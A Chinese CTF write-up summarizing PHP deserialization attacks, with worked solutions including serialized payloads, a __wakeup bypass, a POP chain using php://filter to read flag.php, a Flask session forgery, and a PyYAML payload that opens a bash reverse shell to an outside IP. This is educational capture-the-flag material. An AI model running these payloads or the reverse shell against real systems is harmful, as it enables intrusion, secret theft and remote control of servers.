ctf中php反序列化汇总

news2024/12/26 20:45:54

序列化与反序列化的概念

序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

序列化举例:一般ctf题目中我们就是要将对象转化成字符串,而最重要的就是构造属性

反序列化:

php反序列化漏洞又称对象注入 , 可能会导致远程代码执行(RCE)

理解为漏洞执行unserialize函数 调用某一类并执行魔术方法 之后执行类中的函数 产生安全问题

下面是一些常见的魔术引号

__construct()           //对象创建(new)时会自动调用。
__wakeup()                //使用unserialize时触发
__sleep()                //使用serialize时触发
__destruct()            //对象被销毁时触发
__call()                //在对象上下文中调用不可访问的方法时触发
__callStatic()            //在静态上下文中调用不可访问的方法时触发
__get()                //用于从不可访问的属性读取数据 包括private或者是不存在的
__set()                //用于将数据写入不可访问的属性
__isset()                //在不可访问的属性上调用isset()或empty()触发
__unset()                 //在不可访问的属性上使用unset()时触发
__toString()            //把类当作字符串使用时触发
__invoke()             //当脚本尝试将对象调用为函数时触发  就是加了括号
__autoload()           //在代码中当调用不存在的类时会自动调用该方法。

漏洞前提 

  1. unserialize()函数的变量可控
  2. php文件中存在可利用的类,类中有魔术方法

利用步骤 

  1. 把题目代码复制到本地
  2. 注释掉方法和一些没有用的东西
  3. 本地对属性赋值,构造序列化,url编码后输出,避免把不可见字符的影响

利用步骤举例 

下面是对对象进行简单的属性赋值,并且注释掉了没用的方法

<?php
class DEMO1{
    //赋值
public $func = 'evil';
public $arg = 'phpinfo()';

// public function safe(){
// echo $this->arg;
// }
// public function evil() {
// eval($this->arg);
// }
// public function run(){
// $this->{$this->func}();
// }
}
// $obj = unserialize($_GET['a']);
// $obj->run();
?>

下面是要对以上赋值进行输出

echo(serialize(new DEMO1()));    //单纯序列化
echo("\n");
echo (urlencode(serialize(new DEMO1())));    //进行url编码

 

访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

public(公有)

protected(受保护)

private(私有的)

protected属性被序列化的时候属性值会变成:%00*%00属性名

private属性被序列化的时候属性值会变成:%00类名%00属性名

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化

下面介绍三种赋值方式

 内部直接赋值 只能赋值字符串

class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo();';
}
echo(serialize(new DEMO1())); 

外部赋值 只能访问public属性的变量 

class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo()';
}
//新建一个然后直接输出这个$o
$o = new DEMO1();
$o -> func = 'evil';
$o -> arg = 'phpinfo();'
    
echo(serialize($o)); 

小技巧: 对于php7.1+版本,对属性容错机制较高,就算不是public也可以在本地修改成public

构造方法赋值 (万能方法)解决上述所有麻烦 

class DEMO1{
    public $func;
    public $arg;
    function __construct(){
        $this -> func = 'evil';
        $this -> arg = phpinfo();
    }
}
echo(serialize(new DEMO1())); 

 参考资料:CTF中的序列化与反序列化 - Hel10 - 博客园 (cnblogs.com)

反序列化学习笔记【一文打通ctf中的反序列化题目】_ctfphp反序列化简单例题-CSDN博客

下面是一些实例

[HDCTF 2023]YamiYami 

打开题目,发现存在三个地址

第一个链接点进去发现地址跳转,可能存在文件包含漏洞,我们可以考虑用file协议读取etc/passwd下的文件

etc/passwd 这个文件通常存储着用户账户的信息,包括用户名、用户 ID、用户组 ID 等

 构造payload,读取etc/passwd文件

 read?url=file:///etc/passwd

 

 读取环境变量[CTF]proc目录的应用_ctf "proc-CSDN博客 

引用的是进程 ID 为 1 的 init 进程的环境变量。

init 进程是 Linux 系统中的第一个用户空间进程,它负责启动和管理其他用户进程。

read?url=file:///proc/1/environ

 得到flag:NSSCTF{10b7a6f1-c324-483d-bbb1-7519beced37d}

  • 局限:这种方法只适用于环境变量没被清除且flag不在根目录的情况下

 

第三个链接中在/pwd文件下存在/app文件

我们试试文件读取读取/app文件:read?url=/app

 是一个使用正则表达式进行匹配的代码片段。给url 中查找满足正则表达式模式 'app.*' 的所有匹配项,并以列表的形式返回这些匹配项。re.IGNORECASE 是一个参数,它告诉 re.findall() 在匹配时忽略大小写。

URL双重编码尝试绕过waf

原理:这里采用的是urlopen的方式进行任意文件读取,一次编码会被还原,服务端收到的还是app就会过滤,而二次编码后,到服务端是一次编码的过程,不存在app,也就不会被识别,这里urlopen接受的是一个url地址,url地址会再进行一次编码,所以也可以正常访问

app/app.py

> %61%70%70/%61%70%70%2E%70%79

>%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

构造paylaod:read?url=file:///%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

得到源码

 用pycharm格式化字符串


#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

session伪造 Flask之session伪造(从某平台学习Session身份伪造)_session 存储身份 是否伪造-CSDN博客

分析后得出,首先需要进行session伪造 -> if session.get("passport")=="Welcome To HDCTF2023":

源码看到了session需要满足要求才会有权限读取上传的文件,由于伪造session需要密钥SECRET_KEY,而密钥SECRET_KEY的生成方式源码也已经给出了random.seed(uuid.getnode()):返回的值是Mac值的16进制形式,但是去掉了中间的冒号
app.config['SECRET_KEY'] = str(random.random()*233)

在linux上读取ifconfig即可

linux的网卡地址在:/sys/class/net/eth0/addres中 

读取网卡的值:02:42:ac:02:4d:ad,然后使用以下脚本计数SECRET_KEY`

import random

if __name__ == '__main__':
    random.seed(0x0242ac024dad)
    print(str(random.random() * 233))
   	# 结果:132.76992396847822

然后进行伪造使用命令

python3.9 flask_session_cookie_manager3.py decode -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZEiQZA.MxDCX2hJb-pvOeb7T3U48RhsrtI" -s "132.76992396847822"
# 结果为:{'passport': 'YamiYami'}
python3.9 flask_session_cookie_manager3.py encode -t "{'passport': 'Welcome To HDCTF2023'}" -s  "132.76992396847822"
# 结果为:eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZEiSkQ.UJ6u_SeyNSd2dTKGE0yuBEROShs

然后将得到值替换掉当前的session值

然后就是pyyaml的反序列,看了下出题人的payload,使用了反弹shell

!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/113.124.234.43/1999 <&1\"')"
      - !!python/object/new:staticmethod
        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list

上传成功后去访问这个文件:http://node4.anna.nssctf.cn:28652/boogipop?file=uploads/a.txt

注意:访问之前先在自己的服务器上开好监听


[极客大挑战 2019]PHP

扫目录拿到www.zip网站的备份源码

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
$a = new Name("admin",100);
$a = serialize($a);
echo $a;
?>

得到

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

绕过__wakeup

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

 private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

然后?select传值,构造paylaod

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

ISCC2020-Php is the best language(php反序列化)

<?php
@error_reporting(1);
include 'flag.php';
class baby
{
    public $file="flag.php";     //本来是public $file这里改成public $file="flag.php";   
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}/*
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    $good = unserialize($data);
    echo $good;
}
else
{
    $url='./index.php';
}
$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}*/
//下面是解题代码
$a = new baby("flag.php");    //这里中flag.php不写也没事,上面的属性值已经写好了
$a = serialize($a);
echo $a;      //O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
?>

直接构造payload:?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

例题 

index3.php You are in my range!
<?php
error_reporting(0);
class Vox{
        protected $headset;
        public $sound;
    //考虑fun函数作为最终的利用点
        public function fun($pulse){
            //include!!!!危险函数 文件包含 通过文件流 伪协议 base64 读取flag.php文件
                include($pulse);
        }
    //调用invoke魔术方法  对象作为函数时触发 找用小括号的地方
        public function __invoke(){
                //这里可以调用fun函数
                $this->fun($this->headset);
        }
}

class Saw{
        public $fearless;
        public $gun;
        public function __construct($file='index.php'){
                $this->fearless = $file;
                echo $this->fearless . ' You are in my range!'."<br>";
        }
       //对象视为字符串触发 定位到正则匹配
        public function __toString(){
            //把gun设置为Petal的对象访问fearless 属于不存在属性
            //需要注意的是gun设定为一个数组了 其中有一个键值为‘gun’ 所以给该键值进行相应赋值value gun = array("gun" => $b)
                $this->gun['gun']->fearless;
                return "Saw";
        }
		//只是一个普通的方法 因为只有一个下划线  发现根本调用不了直接排除就好了
        public function _pain(){
                if($this->fearless){
                        highlight_file($this->fearless);
                }
        }
       //wakeup使用unserialize的时候自动触发
        public function __wakeup(){
               //正则匹配 把对象视为字符串 触发其toString方法
                if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
                        echo "Does it hurt? That's right";
                        $this->fearless = "index3.php";
                }
        }
}

class Petal{
        public $seed;
        public function __construct(){
                $this->seed = array();
        }
        //寻找不可访问的属性 寻找箭头
        public function __get($sun){
                
            $Nourishment = $this->seed;
            //函数的调用后面有括号  可以把类的对象作为函数调用 触发invoke 
                return $Nourishment();
        }
}

if(isset($_GET['ozo'])){
        unserialize($_GET['ozo']);   //只有反序列化一定是自动触发的过程
}
else{
        $Saw = new Saw('index3.php');
        $Saw->_pain();
}
?>

解题:
起始位置:先考虑魔术方法,destruct或者wakeup 现在题目中只能去利用wakeup作为起始。

结束位置:利用危险的函数,比如include,highlight_file去进行文件内容的读取

知识点补充:

遇到正则匹配不要慌,那正是toString方法自动调用的入口

如果需要触发的魔术方法在一个方法中,那么就new两个对象交互使用

include文件包含读取php文件内容常用模板 文件流伪协议base64 即:

php://filter/convert.base64-encode/resource=flag.php

private的赋值直接在内部,在外面可能赋值不成功

构建exp的顺序是从结尾往起始写的,逆向思维,就是我达成这个目的需要什么事情作为前提就是思考的过程,所以最终serialize的是exp的最后值

解题过程:

首先需要找到最后的危险函数,看到了在Vox里面的include。
然后想要使用include就要调用fun这个函数
想要调用fun就要触发__invoke这个魔术方法

__invoke()                    //当脚本尝试将对象调用为函数时触发

作为函数就是添加了一个小括号去触发,发现在Petal类中__get方法具备这个调用函数的功能,所以需要去触发__get这个方法
__get()             //用于从不可访问的属性读取数据   包括属性不可访问和不存在

因为与访问相关,所以全局搜索->去找哪里会访问,可以发现在Saw类中的__toString中有一个利用数组特性去访问fearless的过程,这个fearless属于上面的get方法中不存在的属性,为不可访问属性,会触发__get,所以需要去触发__toString这个魔术方法
__toString()             //把类当作字符串使用时触发

这就需要去利用正则表达式,视为字符串的特性去触发这个toString方法,而正则表达式在wakeup魔术方法里面
__wakeup()             //使用unserialize时触发
所以直接在反序列化的时候就会触发这个wakeup魔术方法,到此整个pop链的逻辑全部理清

exp:

$v = new Vox;
//headset的赋值在内部直接赋值为php://filter/convert.base64-encode/resource=flag.php

$p = new Petal;
$p -> seed = $v;   //把$v这个对象作为函数  触发这个对象的invoke方法

$s = new Saw;
$s -> gun = array("gun" => $p);    //让$p这个对象去访问fearless 不存在触发这个对象中的get方法
$s2 = new Saw;
$s2 -> fearless = $s;       //把$s这个对象作为字符串 触发这个对象中的toString方法

echo urlencode(serialize($s2));   //输出最终结果

Demo1

<?php  
  error_reporting(0); //关闭错误报告
    class happy{ 
        protected $file='demo1.php'; 
        public function __construct($file){ 
            $this->file=$file; 
        } 
         
        function __destruct(){ 
            if(!empty($this->file))
            {
                if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //过滤了文件名中的\\与/
                    show_source(dirname(__FILE__).'/'.$this->file); //打开文件操作
                else
                    die('Wrong filename.');
            }
        } 
         
        function __wakeup(){ 
            $this->file='demo1.php'; 
        } 
        public function __toString()
        {
            return '';
        }
 }
      
    if (!isset($_GET['file'])){ 
        show_source('demo1.php'); 
    } 
    else{ 
        $file=base64_decode($_GET['file']); 
        echo unserialize($file); 
        } 
?> 
<!--password in flag.php--> 

分析:

unserialize 先找找看有无 __wakeup()、__destruct()

happy类中有 __destruct() 方法 并且如果$file存在的话直接展示$file的代码

但是注意到happy类中还有 __wakeup() 方法 将$file的值改变

unserialize执行__destruct() 要先执行__wakeup() 因此要想办法绕过__wakeup()

注意点protected 属性在序列化过后参数前面的标识符为\00*\00(\00为空字符) 但是用\00的时候不能成功输出 以因此使用chr(0)来拼接代替 

<?php
	 class happy{ 
			public $file='demo1.php'; 
	 }
	 $o = new happy();
	 echo serialize($o); 
		//O:5:"happy":1:{s:7:"\00*\00file";s:8:"flag.php";}  \00为空字符 
	 $s = 'O:5:"happy":2:{s:7:"'.chr(0).'*'.chr(0).'file";s:8:"flag.php";}';
	 echo base64_encode($s);
		//Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
 ?>

因此构造即可获得flag:

?file=Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1939315.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

02设置burpsuite代理

在日常工作之中&#xff0c;我们最常用的web客服端就是web浏览器&#xff0c;我们可以通过代理的设置&#xff0c;做到web浏览器的流量拦截&#xff0c;并且经过burpsuite代理的数据流量进行处理。 在火狐浏览器中安装foxyporxy

哥德尔不完备定理(Godel‘s Incompleteness Theorem) —— 奠定了计算机与 AI 的理论基础

哥德尔不完备定理 在数理逻辑中&#xff0c;哥德尔不完备定理是指库尔特・哥德尔于 1931 年证明并发表的两条定理。简单地说&#xff0c;第一条定理指出&#xff1a;任何相容的形式系统&#xff0c;只要蕴涵皮亚诺算术公理&#xff0c;就可以在其中构造在体系中既不能证明也不…

Java GC(垃圾回收)机制详解

Java GC&#xff08;垃圾回收&#xff09;机制详解 1、GC触发的条件2、GCRoots的对象类型 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在Java的世界里&#xff0c;内存管理是自动进行的&#xff0c;其中垃圾回收&#xff08;Garbage Col…

WDL(Wide Deep Learning for Recommender Systems)——Google经典CTR预估模型

一、文章简介 Wide & Deep Learning for Recommender Systems这篇文章介绍了一种结合宽线性模型和深度神经网络的方法&#xff0c;以实现推荐系统中的记忆和泛化。这种方法在Google Play商店的应用推荐系统中进行了评估&#xff0c;展示了其显著的性能提升。 推荐系统中的…

解决使用腾讯地图没超过额度却一直报“此key每日调用量已达到上限”

1、个人开发者配额说明 2、需要在 配额管理 的 账户额度 中进行配额的分配即可。 3、开发工具接口的调用就不会出现该报错了

【专项刷题】— 快排

1、颜色分类 - 力扣&#xff08;LeetCode&#xff09; 思路&#xff1a; 创建三个指针&#xff0c;然后把数组分为三个区域遍历代码&#xff1a; class Solution {public void swap(int[] nums, int i, int j){int t nums[i];nums[i] nums[j];nums[j] t;}public void sortCo…

如何快速开发一个简单的企业信息系统?O2OA手把手带你,高效开发!(附源码)

前言 想象一下&#xff0c;如果你的企业能够通过一个系统快速发布企业信息&#xff0c;员工们无论身在何处都能即时获取新信息&#xff0c;那该多好&#xff01;告别email轰炸和口头传达的低效&#xff0c;O2OA企业应用开发平台让这一切变得简单。 今天&#xff0c;就让我们一…

【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 二进制游戏(200分)- 三语言AC题解(Python/Java/Cpp)

🍭 大家好这里是清隆学长 ,一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-C/D卷的三语言AC题解 💻 ACM银牌🥈| 多次AK大厂笔试 | 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 🍿 最新华为OD机试D卷目录,全、新、准,题目覆盖率达 95% 以上,支持题目在线…

CCF-Csp算法能力认证, 202312-2因子化简含解析

CCF-Csp算法能力认证&#xff0c; 202312-1仓库规划含解析 前言 推荐书目&#xff0c;在这里推荐那一本《算法笔记》&#xff08;胡明&#xff09;&#xff0c;需要PDF的话&#xff0c;链接如下 「链接&#xff1a;https://pan.xunlei.com/s/VNvz4BUFYqnx8kJ4BI4v1ywPA1?…

Java(九)——抽象类、抽象方法

个人简介 &#x1f440;个人主页&#xff1a; 前端杂货铺 ⚡开源项目&#xff1a; rich-vue3 &#xff08;基于 Vue3 TS Pinia Element Plus Spring全家桶 MySQL&#xff09; &#x1f64b;‍♂️学习方向&#xff1a; 主攻前端方向&#xff0c;正逐渐往全干发展 &#x1…

Synchronized升级到重量级锁会发生什么?

我们从网上看到很多&#xff0c;升级到重量锁的时候不会降级&#xff0c;再来线程都是重量级锁 今天我们来实验一把真的是这样的吗 1.首选导入Java对象内存布局的工具库&#xff1a; <dependency><groupId>org.openjdk.jol</groupId><artifactId>jol-…

django-vue-admin项目运行

文本主要对django-vue-admin项目进行了简要介绍&#xff0c;并且对前后端进行了源码安装和运行。在此基础上可作为管理系统二次开发的基础框架。 一.django-vue-admin简介和安装 1.简介 django-vue-admin项目是基于RBAC模型权限控制的中小型应用的基础开发平台&#xff0c;采…

hung 之 Android llkd

目录 1. llkd 简介 2. 原理 2.1 内核活锁 2.2 检测机制 2.3 为什么 persistent stack signature 检测机制不执行 ABA 检查&#xff1f; 2.4 为什么 kill 进程后&#xff0c;进程还存在就能判定发生了内核 live-lock&#xff1f; 3. 代码 3.1 内核 live-lock 检查 3.2 …

轨道交通全国产工控机:基于飞腾E2000Q的实现AFC系统控制器

AFC系统 提供基于Intel平台、NXP平台、Rockchip平台的核心板、 PICO-ITX板、3.5寸板、Mini-ITX主板以及嵌入式准系统等计算机硬件。产品具有出色的数据传输与处理能力&#xff0c;板载内存&#xff0c;CPU集成图形控制&#xff0c;提供丰富串口、USB、LAN、PCIe扩展接口等I/O接…

学会这个技巧,你的电子画册将秒变专业

在这个数字化的时代&#xff0c;电子画册已经成为展示个人和商业作品的重要方式。然而&#xff0c;许多人虽然拥有出色的内容&#xff0c;却因为缺乏一定的技巧&#xff0c;使得电子画册显得平凡无奇。学会这个技巧&#xff0c;你的电子画册将秒变专业&#xff0c;让你的作品在…

Docker容器下安装Matlab,无需挂载

Matlab的安装需要这些文件 传入ubuntu后&#xff0c;改过相关的文件权限后&#xff0c;发现还是无法挂载 这有可能是docker的安全管理策略导致容器不能挂载&#xff0c;因此采用不挂载形式&#xff0c;直接解压的方式安装Matlab 1.将iso改成zip&#xff0c;并解压 2.解压rar文件…

【深入C++】二叉搜索树

文章目录 什么是二叉搜索树二叉搜索树的接口1.查找操作2.插入操作3.中序遍历4.删除操作 所有代码总结 什么是二叉搜索树 二叉搜索树&#xff08;Binary Search Tree, BST&#xff09;是一种特殊的二叉树&#xff0c;其每个节点最多有两个子节点&#xff0c;分别称为左子节点和…

MySQL 数据库 day 7.16

ok了家人们今天继续记录一下数据库,看看今天学了什么。 一.事物概述 1.1 环境准备 -- 账户表 create table account( id int primary key auto_increment, name varchar(20), money double );insert into account values (null,张三,1000); insert into account values (n…

Matlab Git管理

目录 1、Git配置 1.1 下载 1.2 注册账户 1.3 录入信息 2、matlab配置 2.1 测试git 2.2 创建git 1、Git配置 1.1 下载 使用镜像网站&#xff0c;选择合适的版本download git&#xff0c;一直点next&#xff0c;最后install。 CNPM Binaries Mirror (npmmirror.co…

区块链技术在智能家居中的创新应用探索

随着物联网技术的发展和智能家居市场的蓬勃发展&#xff0c;区块链技术作为一种去中心化的数据管理和安全保障技术&#xff0c;正在逐渐引入智能家居领域&#xff0c;并为其带来了新的创新应用。本文将探讨区块链技术在智能家居中的具体应用场景、优势以及未来发展方向。 智能家…